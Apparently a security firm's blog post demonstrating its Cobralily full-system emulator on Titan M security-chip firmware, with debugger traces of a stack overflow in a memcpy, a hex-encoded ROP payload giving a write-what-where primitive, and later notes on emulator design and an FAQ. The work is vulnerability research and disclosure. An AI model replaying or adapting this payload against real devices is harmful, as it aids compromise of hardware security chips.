r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 0c7b8dbf   sp  = 00014f58   lr  = 00069397   pc* = 00068ed4
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f58
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e48e   [REWIND]

        68ed0 |     0eb4 push {r1, r2, r3}      [DEMO NOTE: entry of next calling function, r0 is bogus pointer]

> s -1
r0  = db7e7e12   r1  = 000567ec   r2  = 00000020   r3  = 000152f3
r4  = 00014f58   r5  = 00000157   r6  = 00014fa0   r7  = 000000f8
r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 0c7b8dbf   sp  = 00014f58   lr  = 000620b1   pc* = 00069396
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f58
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e48d   [REWIND]

        69392 | fff79dfd bl #0x68ed0

> s -1
r0  = db7e7e12   r1  = 00014ea8   r2  = 00000020   r3  = 000152f3
r4  = 00014f58   r5  = 00000157   r6  = 00014fa0   r7  = 000000f8
r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 0c7b8dbf   sp  = 00014f58   lr  = 000620b1   pc* = 00069394
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f58
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e48c   [REWIND]

        69390 |     0e49 ldr r1, [pc, #38]

> s -1
r0  = 00000001   r1  = 00014ea8   r2  = 00000020   r3  = 000152f3
r4  = 00014f58   r5  = 00000157   r6  = 00014fa0   r7  = 000000f8
r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 0c7b8dbf   sp  = 00014f58   lr  = 000620b1   pc* = 00069392
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f58
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008e48b   [REWIND]

        6938e |     af98 ldr r0, [sp, #0x2bc]

> dw sp+0x2bc 4
        00015214: db7e7e12 
> prev write sp+0x2bc
r0  = 0001519c   r1  = 0001a4cb   r2  = 000152f3   r3  = 00015217
r4  = 000152f3   r5  = 000152f0   r6  = 000000db   r7  = 000000f8
r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 00000000   sp  = 00014f48   lr  = 0006937f   pc* = 0006a1d2
APSR: 80000000 [ N         ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f48
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008939f   [REWIND]

        6a1ce | 03f8016b strb r6, [r3], #0x1    [DEMO NOTE: this is inside `memcpy`]

> prev fetch 6937a
r0  = 0001519c   r1  = 0001a44f   r2  = 00000157   r3  = c55a1ff6
r4  = 00014f58   r5  = 00000157   r6  = 00014fa0   r7  = 000000f8
r8  = 4d971738   r9  = fb939790   r10 = f648376c   r11 = c55a1ff6
r12 = 00000000   sp  = 00014f58   lr  = 0006935b   pc* = 0006937e
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00014f58
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008e4b5]
instruction counter: 000000000008912c   [REWIND]

        6937a | 00f013ff bl #0x6a1a4            [DEMO NOTE: this is `bl memcpy`]

> u 69366 0x18
69366:     91a8 add r0, sp, #0x244              [DEMO NOTE: dst = sp+0x244]
69368: 86f8f831 strb r3, [r6, #0x1f8]
6936c:     aaab add r3, sp, #0x2a8
6936e: d3e90023 ldrd r2, r3, [r3]
69372:     ad99 ldr r1, [sp, #0x2b4]            [DEMO NOTE: this is attacker controlled data]
69374: c6e90223 strd r2, r3, [r6, #0x8]
69378:     2a46 mov r2, r5                      [DEMO NOTE: this is attacker controlled length]
6937a: 00f013ff bl #0x6a1a4
> u 69320 6
69320:     f0b5 push {r4, r5, r6, r7, lr}       [DEMO NOTE: this is the top of the function]
69322: adf51b7d sub sp, #0x26c                  [DEMO NOTE: note that the stack is 0x280 bytes]
>

This is a little more obvious than the other outcome: it’s a stack overflow bug. The guest is calling memcpy with a length of r2=0x157 for a stack buffer smaller than 0x157 bytes. Let’s pick this one to work with.

Developing a proof of concept 5

In the previous section, a fuzzer written with the Cobralily API helped find a classic stack overflow vulnerability. Let’s turn it into a proof of concept that uses a ROP chain to build a write-what-where primitive to write a custom value into the buffer used to send a response6.

To spare the effort of reading a payload made up entirely of ROP gadgets (and the effort of writing and documenting it), we’ll just show how Cobralily can help debug a crash during development of a payload. Compare this with the normal experience of exploiting an embedded target, especially one without any debugging, where the only feedback received is generally “did it crash or not?” Again, we’ll add notes explaining the thought process and also add relevant information from our .bndb of the Titan M firmware.

calculon@allmycircuits$ cat /tmp/run_poc.txt 
load /tmp/titanm_ready.sav
nugget_request Identity 0xc 52ac0141747461636b2073756363656564656421000102030405060708090a0b0c0d0e0f10111213141516110000000ba30100089f0100130f05008b4d040000020406080a0c0e1012141641414141515151513fce0400000306090c0f1215181b1e2124272a2d303336393c3f4245484b4e5154575a5d60636669805201000004080c020000003852010073706f6f130f05008b4d04006053010017b0060011000003434343433052010025290000
calculon@allmycircuits$ 
calculon@allmycircuits$ 
calculon@allmycircuits$ ./cobralily_cli.py titanm /tmp/run_poc.txt 
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

r0  = 00021264   r1  = 00000000   r2  = 00010890   r3  = 40470010
r4  = 00015c28   r5  = 00000000   r6  = fffffffc   r7  = 00015c28
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000108a8   lr  = 0004e517   pc* = 0004e53c
APSR: a0000000 [ N   C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000108a8
Task ID: IDLE
rewind window:      [00000000000849a0 - 00000000000849a0]
instruction counter: 00000000000849a0

        4e538 |     2379 ldrb r3, [r4, #0x4]

> g
CPU#0 ACCESS VIOLATION: PC 6a1ce bad access address 6f6f7073
CPU#0 reached exception irq 5 (0x5): BusFault @ PC 6a1ce
r0  = 6f6f7073   r1  = 00015239   r2  = 6f6f7075   r3  = 6f6f7073
r4  = 6f6f7075   r5  = 6f6f7074   r6  = 00000011   r7  = 00050f13
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 5ebd6753   sp  = 00010400   lr  = fffffffd   pc* = 00046a60
APSR: 80000000 [ N         ]      mode/control: Handler/0 -> Privileged
sp_main = 00010400  sp_process = 00015200
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008b529]
instruction counter: 000000000008b529

        46a5c |     024b ldr r3, [pc, #8]       [DEMO NOTE: this is the bus fault handler]

> s -1
r0  = 6f6f7073   r1  = 00015239   r2  = 6f6f7075   r3  = 6f6f7073
r4  = 6f6f7075   r5  = 6f6f7074   r6  = 00000011   r7  = 00050f13
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 5ebd6753   sp  = 00015220   lr  = 00050f17   pc* = 0006a1d2
APSR: 80000000 [ N         ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015220
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008b529]
instruction counter: 000000000008b528   [REWIND]

        6a1ce | 03f8016b strb r6, [r3], #0x1    [DEMO NOTE: in memcpy, writing to bogus r3 address]

> prev fetch 6a1a4
r0  = 6f6f7073   r1  = 00015238   r2  = 00000002   r3  = 00019f19
r4  = 00000002   r5  = 00015238   r6  = 6f6f7073   r7  = 00050f13
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 5ebd6753   sp  = 00015230   lr  = 00050f17   pc* = 0006a1a8
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015230
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008b529]
instruction counter: 000000000008b51d   [REWIND]

        6a1a4 |     70b5 push {r4, r5, r6, lr}  [DEMO NOTE: start of memcpy, dst is bogus address]

> s -1
r0  = 6f6f7073   r1  = 00015238   r2  = 00000002   r3  = 00019f19
r4  = 00000002   r5  = 00015238   r6  = 6f6f7073   r7  = 00050f13
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 5ebd6753   sp  = 00015230   lr  = 00044d93   pc* = 00050f16
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015230
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008b529]
instruction counter: 000000000008b51c   [REWIND]

        50f12 | 19f047f9 bl #0x6a1a4

> s -1
r0  = 6f6f7073   r1  = 00015238   r2  = 00000002   r3  = 00019f19
r4  = 00000002   r5  = 00015238   r6  = 6f6f7073   r7  = 00050f13
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 5ebd6753   sp  = 00015230   lr  = 00050f17   pc* = 00044d94
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015230
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008b529]
instruction counter: 000000000008b51b   [REWIND]

        44d90 |     b847 blx r7                 [DEMO NOTE: jump from one ROP gadget to another]

> s -3
r0  = 00000000   r1  = 0001a31c   r2  = 00019f19   r3  = 00019f19
r4  = 00000002   r5  = 00015238   r6  = 6f6f7073   r7  = 00050f13
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 5ebd6753   sp  = 00015230   lr  = 00050f17   pc* = 00044d8e
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00015230
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008b529]
instruction counter: 000000000008b518   [REWIND]

        44d8a |     3046 mov r0, r6             [DEMO NOTE: start of ROP gadget, r6 is bogus address]

> s -1
r0  = 00000000   r1  = 0001a31c   r2  = 00019f19   r3  = 00019f19
r4  = 41414141   r5  = 51515151   r6  = 00019f08   r7  = 00050f13
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 5ebd6753   sp  = 0001521c   lr  = 00050f17   pc* = 0004ce44
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 0001521c
Task ID: IDENTITY
rewind window:      [00000000000849a0 - 000000000008b529]
instruction counter: 000000000008b517   [REWIND]

        4ce40 |     f0bd pop {r4, r5, r6, r7, pc}       [DEMO NOTE: jump from one gadget to another,]
                                                        [           found source of bogus r6 value  ]
> 

It looks like the ascii encoding of oops got put into the memory that was supposed to hold the value of r6 in this payload. But the real highlight here is that using Cobralily helped figure this out in under a minute. Compare that to the usual experience of pretending to be an ARM CPU and manually stepping through each instruction and keeping track of the value of each register and memory address, which is a much more time-intensive and frustrating process.

This basically marks the end of the demo of Cobralily’s capabilities with the Titan M. To tie a bow on it, let’s throw a working proof of concept against the guest that puts a message into the response buffer.

When we first performed this research, we didn’t have the contents of the bootrom. However, with the write-what-where primitive, we were able to dump the bootrom, and it contained a very useful gadget that simplified payloads, which we use in this end exploit. Because we didn’t originally emulate the Titan M with bootrom, the gadget has to be hacked in at the location it is in the bootrom, using the w command in command_poc.txt.

calculon@allmycircuits$ cat /tmp/run_poc.txt 
load /tmp/titanm_ready.sav
w 2924 d5f800d0d5f804f0

nugget_request Identity 0xc 52ac0141747461636b2073756363656564656421000102030405060708090a0b0c0d0e0f10111213141516110000000ba30100089f0100130f05008b4d040000020406080a0c0e1012141641414141515151513fce0400000306090c0f1215181b1e2124272a2d303336393c3f4245484b4e5154575a5d60636669805201000004080c020000003852010088530100130f05008b4d04006053010017b0060011000003434343433052010025290000
g
calculon@allmycircuits:~$ 
calculon@allmycircuits:~$ 
calculon@allmycircuits:~/VENUSFLYTRAP/cobralily$ ./cobralily_cli.py titanm /tmp/run_poc.txt 
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

r0  = 00021264   r1  = 00000000   r2  = 00010890   r3  = 40470010
r4  = 00015c28   r5  = 00000000   r6  = fffffffc   r7  = 00015c28
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000108a8   lr  = 0004e517   pc* = 0004e53c
APSR: a0000000 [ N   C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000108a8
Task ID: IDLE
rewind window:      [00000000000849a0 - 00000000000849a0]
instruction counter: 00000000000849a0

        4e538 |     2379 ldrb r3, [r4, #0x4]

write succeeded
<nugget_command output> 41747461636b2073756363656564656421
Guest CPU0 is waiting for interrupts @ 4e536
r0  = 00000006   r1  = 00000001   r2  = 00000000   r3  = 40470010
r4  = 00015c28   r5  = 00000000   r6  = 00022f04   r7  = 00015c28
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000108a8   lr  = 0004e523   pc* = 0004e53c
APSR: 00000000 [           ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000108a8
Task ID: IDLE
rewind window:      [00000000000849a0 - 000000000008bc3f]
instruction counter: 000000000008bc3f

        4e538 |     2379 ldrb r3, [r4, #0x4]

> q
calculon@allmycircuits$ 
calculon@allmycircuits$ 
calculon@allmycircuits$ python3 -c "print(bytes.fromhex('41747461636b2073756363656564656421'))"
b'Attack succeeded!'
calculon@allmycircuits$ 

More technical notes

An Aside on Full-system Emulators

What we mean by a “full-system emulator” is that we focus on emulating the entire system, not just a piece, like a single process. Cobralily is developed to emulate as much of the hardware as needed to help with the end goal (which, for the Titan M, is to find software vulnerabilities in its firmware), including interrupts and memory-mapped I/O regions that the guest uses.

Compared to emulators that emulate only a single process, there are some downsides:

  • In sufficiently large systems, there are lots of things happening that detract from the end goal; for example, many systems often read thermometers, which generally aren’t interesting from a vulnerability research standpoint, but the guest still generally has to, or it will reboot itself. These temperature checks reduce fuzzing throughput.
  • It involves more effort to develop the emulation

But, with full-system emulators we get:

  • Higher fidelity when emulating tightly coupled binaries, such as those using an RTOS; a user doesn’t have to reverse engineer and reconstruct things like system calls that provide equivalent functionality
  • Similarly, the ability to debug and/or find vulnerabilities in the kernel itself
  • The ability to track data as it crosses from one process to another

Determinism

Cobralily is deterministic, which is a nice property until it isn’t. When Cobralily boots a guest, it boots the same way every time, which means that memory layouts will be the same every boot. This doesn’t mimic the real world, where even systems that don’t deliberately introduce randomness into memory layouts (like ASLR) have some element of “fuzziness”, especially with timing.

This can cause a false sense of consistency when doing vulnerability research, for example assuming that a pointer will always be the same.

This is something we’re aware of; eventually we intend to add a feature that can mimic some of the same “fuzziness” that exists with real hardware, that jumbles memory layouts around in a more realistic way and can help shake out bugs and fortify proofs of concept.

Performance

A natural question is how fast Cobralily executes instructions. While performance isn’t as high of a priority to us as it is to an emulator like QEMU, we do take steps to improve it when we find ways to. For an extremely rough benchmark, we can run the following:

calculon@allmycircuits$ cat /tmp/run_benchmark.txt 
# nop out 0x48198 call to @(0x40)
w 0x48198 00 bf

# nop out 0x48214 call to @(0x48) (prng bytes)
w 0x48214 00 bf

# overwrite 0x48240 call to @(0x50) (prng bytes)
# mov r0, 0 to avoid assert failure
w 0x48240 00 20

idle_handle False
s 100000000
q
calculon@allmycircuits$
calculon@allmycircuits$
calculon@allmycircuits$ time ./cobralily_cli.py titanm /tmp/run_benchmark.txt 
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

write succeeded
write succeeded
write succeeded
guest will now IGNORE idle commands
<uart0 output> 
<uart0 output> 
<uart0 output> --- UART initialized after reboot ---
<uart0 output> [Reset cause:]
<uart0 output> [Retry count: 0]
<uart0 output> [Image: RW_A, 0.0.3/brick_v0.0.8164-97b23b2e4 2020-07-02 11:29:09 wfrichar@wintermute]
<uart0 output> [0.044552 Inits done]
<uart0 output> [0.047248 update_rollback_mask: stop at 0]
<uart0 output> Console is enabled; type HELP for help.
<uart0 output> > [0.110192 prepare_flash: AVB migrating]
<uart0 output> [0.115820 flash_physical_write: 0xb1000, 0xa0 bytes]
<uart0 output> EVENT: 2 0:0x00000000 1:0x00000000 2:0x00000000 3:0x00000000 4:0x00000000 5:0x00000000 6:0x00000000 7:0x00000000 8:0x00000000 9:0x00000000
<uart0 output> [0.128564 flash_physical_erase: 0x7f800]
<uart0 output> [0.131208 flash_physical_write: 0x7f800, 0x4 bytes]
<uart0 output> [0.133752 cleared invalid password]
r0  = ffa0a1f0   r1  = 00000000   r2  = 00000000   r3  = 40470010
r4  = 00010890   r5  = 00000000   r6  = 0001dbd8   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010878   lr  = 00050c15   pc* = 00047300
APSR: 60000000 [   Z C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 00010878
Task ID: IDLE
rewind window:      [0000000000000000 - 0000000005f5e100]
instruction counter: 0000000005f5e100

        472fc |     c043 mvn(s*) r0, r0


real    0m5.815s
user    0m5.775s
sys     0m0.032s
calculon@allmycircuits$

This was performed on the 10 year old mid-level laptop (Intel i5-3210M CPU @ 2.5GHz) that this site was written on. It took about 5.8 seconds to execute one hundred million instructions, for about 17 million instructions per second. A more modern processor (AMD Ryzen 9 3900X) takes about 3.2 seconds to execute one hundred million instructions, for about 31 million instructions per second.

ARM is one of Cobralily’s slowest architectures simply because the instruction decoding logic is complicated. Incorporating ideas from our implementations of other architectures may help to speed this up.

For the guests that Cobralily targets, this is generally fast enough. The Titan M still boots in a fraction of a second. More complicated guests like network switches may take a few minutes to boot, but once booted have been responsive enough (quick pings and console character echos) to not interfere with research, and with snapshots the boot time only has to be spent once. It isn’t enough to boot a smartphone’s application processor in a reasonable amount of time, but that’s not a usecase Cobralily is designed to handle (yet?).

More advanced fuzzing

A fuzzer as simple as the one demoed above won’t find bugs in a lot of targets. Most fuzzers these days get feedback from the target application, especially in the form of code coverage. The Cobralily API offers the ability to get code coverage information to make this kind of fuzzing possible, which is especially useful for embedded targets because it’s hard to add code coverage collection to a resource-constrained environment. This means that Cobralily makes it possible to fuzz these targets in ways that they may have never been fuzzed before.

Cobralily also offers memory poisoning, to support heap sanitizers, which again aren’t always included in embedded targets.

For longer-running campaigns, it’s typically better to use Trumpetpitcher. Switching into Python too frequently eats up execution time, so using Trumpetpitcher, which is all written in Rust, removes this penalty.

The Titan M was nice because there was an obvious way to tell when the guest was ready for a new message: when it hit the WFI instruction. It isn’t always this easy, and sometimes there needs to be some experimentation to figure out the best way to fuzz the guest. A strategy we’ve found fruitful is to experiment with the Python API to rapidly iterate and figure out when exactly the guest is ready for a new packet, and then rewrite it with Trumpetpitcher to squeeze as much performance out of the fuzzing campaign as we can.

Questions and Answers

I want to emulate a guest with Cobralily, how do I get started?

The first step is to get in touch with us. Currently, we at Venus Fly Trap are the only ones who add support for new guests; the compiled object is closed source. We don’t have a moral objection to offering the ability to emulate ones own guests without involving us down the road, but at this point we’d still like the freedom to make internal changes that might break backwards compatibility with guests that we don’t currently have control over.

What do I need to give you so you can develop support for a new guest?

Strictly speaking, the only thing we absolutely need is a firmware image for the guest. However, any subset of the following helps expedite development and also improves fidelity of the guest:

  • List of hardware components
  • Documentation and/or SDK for hardware components (if not available online)
  • Contents of flash images, bootloaders, EEPROMs, etc.
  • Bootlogs to compare against
  • Outputs of diagnostic commands (for example, on Linux guests, lspci, ps, etc.)
  • Packet captures when interacting with guest
  • Source code, when available, never hurts

How long does it take to develop support for a new guest?

It depends on several factors:

  • Similarity to other supported guests
  • Complexity of the guest
  • How much we’re given (see “what do we need to develop support” section)

The Titan M was the first guest we emulated in Cobralily, and it had relatively few hardware peripherals. It took us about 2 months to go from the first def main() in cobralily_cli.py to the fuzzer we presented above. This includes the time it took to emulate the subset of ARM instructions that the Titan M uses.

Most guests have taken 1-3 months to emulate, even for those that were the first to implement a new architecture. The longest it took us to emulate a new guest was about 5 months; this guest was the first one we emulated that had more than a few megabytes of RAM and also the first whose primary interface was ethernet, so we had to rewrite some internals to handle these more nicely. With that work done, it doesn’t need to be re-done for future guests.

Does Cobralily support ethernet/an IP stack?

Yes! To fuzz or interact with an ethernet interface, we offer helper functions and utilities to help interact with a specific ethertype/IP protocol/TCP or UDP port.

There is also a tap interface that can be exposed, which lets users interact with the guest as if it was connected by an ethernet cable (ping, nmap, snmpget, sockets, etc.). Currently this tap interface is only supported on Linux, but can be added to other platforms if requested.

What guest OS’s can Cobralily emulate?

It’s a full-system emulator, so there are no restrictions on the guest OS. We’ve emulated guests that run without an operating system, on various RTOS’s, and Linux.

What host platforms does Cobralily run on?

Cobralily has only been tested on x86 Linux, but is written in cross platform languages (Rust and Python), so in theory it shouldn’t be too much work to port to other platforms when needed.

Are there any dependencies?

The Cobralily Python library doesn’t have any external dependencies, it only uses the Python standard library.

The compiled object wrapped by the Python library also doesn’t rely on any external libraries either; in fact the only external Rust dependencies it uses are fnv and parking_lot.

The computer we primarily use and develop Cobralily on is not connected to the internet, so being easy to install and use on airgapped networks is a priority for us.

Does Cobralily support multicore guests?

Currently it does not, but we just haven’t needed it to yet. Whenever we’ve encountered a system-on-a-chip with multiple processors, we’ve been able to get away with just emulating one processor, and the guest has been able to recognize it only has one processor.

However, it’s something we can add support for when we do run into a guest that requires it, for example if the firmware hardcodes crucial tasks to specific cores. In many places we’ve been careful to organize Cobralily’s code to assume that the guest’s processor has multiple cores but only actually implements one of them (for example, making sure that reading a virtual memory address is a method of CPUs, since different CPUs may translate the same address differently, whereas reading physical memory is done through the guest itself).

Does Cobralily emulate CPU caches?

Not currently. The most noteworthy effect this has is that Cobralily doesn’t accurately reflect cache coherency issues between the data cache and instruction cache when executing shellcode, which means that sometimes an exploit that works on a guest emulated in Cobralily will not work on hardware. Sometimes it also interferes with the early boot sequence of a guest that relies on cache behavior (for example, executing code in the instruction cache that clears itself), but we can introduce workarounds for these cases.

What we may be able to do one day is add a setting that can tell that shellcode will definitely execute without a cache coherency issue (from being able to detect if a ROP gadget flushed the cache), but it won’t be aware of cache flushing from eviction from general usage (such as ROP’ing to a sleep function).


  1. To prove we aren’t just some random guy on the internet taking credit for them, note that if you do echo "JONATHANESKELDSON" | sha1sum (Jonathan Eskeldson is the founder of Venus Fly Trap Software Solutions LLC), you’ll get 879073c0f9811a509c8e8be94a967bb018be2a6c, the last part of which happens to be the credit for the CVEs in the Android acknowledgments. ↩︎

  2. You may notice that in the console sessions, only the type of guest is specified when cobralily_cli.py titanm is invoked, without anything like the path of the firmware file. The API to initialize a Titan M guest does take a path parameter, but at the time of writing it’s hardcoded in cobralily_cli.py (titanm_init_info = TitanMInitInfo(b"blobs/titanm/ec.bin", TitanMFirmwareChoice.RW_A) is the exact line of code). We seldomly change the firmware version that we look at, so at the level of cobralily_api.py, hardcoding filepaths is an acceptable trade-off to us, but the API is much more flexible in how it accepts initialization information. ↩︎

  3. In general, we try to use the earliest-stage bootloader we can find for each guest, but when we first emulated the Titan M, we didn’t have access to the 0th stage bootloader. The 1st stage bootloader (which, for the Titan M, is the RO_x firmware) had many references to the 0th stage bootloader, so we chose to use the entry point to the main firmware itself (for the Titan M, the RW_x firmware) for the initial state of the Titan M. ↩︎

  4. Admittedly, sending hex data as text via a debugger command isn’t ergonomic, however in this specific case there aren’t many great alternatives. The Titan M mainly uses the Nugget protocol, and there just aren’t any standard tools to easily craft Nugget packets like there are with, say, ethernet frames. ↩︎

  5. In 2020 when we did this research, THIS is the point at which we finally bought a Pixel 4a that contained the Titan M. Everything above this point, we did solely with Titan M firmware that could be extracted from an OTA image, without ever interacting with a physical Titan M. We hacked together a terrible script to make sure that these crashes also occurred on hardware, because we wanted to confirm the crash happened on hardware before we spent time exploiting it. This was the first guest ever emulated in Cobralily, so we wanted to rule out the possibility of a buggy emulator reporting a false positive. ↩︎

  6. When we did this research, we never actually achieved true code execution, with the ability to compile our own payloads and execute them on the Titan M. The difficulty came from not being able to find or make a region that we could both write to and execute from. However, we were able to stitch together ROP gadgets to get the write-what-where primitive that will be demoed. ↩︎